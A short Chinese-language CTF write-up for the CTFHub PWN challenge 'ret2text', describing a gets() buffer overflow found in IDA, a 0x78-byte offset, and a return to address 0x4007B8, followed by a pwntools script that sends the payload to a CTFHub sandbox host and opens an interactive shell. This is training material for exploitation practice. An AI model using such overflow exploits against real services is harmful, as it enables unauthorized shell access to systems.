共计 434 个字符,预计需要花费 2 分钟才能阅读完成。
提醒:本文最后更新于 2024-08-27 14:28,文中所关联的信息可能已发生改变,请知悉!
CTFHUB-PWN-ret2text
checksec
IDA
main 函数中的 gets 函数有溢出漏洞,那么看一下有什么可以利用的。
查看字符串:
发现有 /bin/sh/ 可以利用,而且它在函数 secure 中:
本来看到这样一个函数,是想要构造伪随机,预测随机值,使得 v3 == v2 成立,从而得到 shell,但是题目名字 ret2text 显然是 hint,那么我就使用 ret2text 的方法
覆盖该变量需要 0x78 的长度
再找到 /bin/sh/ 的 text 段位置:
得到 0x4007B8
EXP
from pwn import *
# p = process('pwn')
p = remote('challenge-0297c21d40a13395.sandbox.ctfhub.com', 29225)
payload = b'a' * (0x78) + p64(0x4007B8)
p.recv()
p.sendline(payload)
p.interactive()
结果
正文完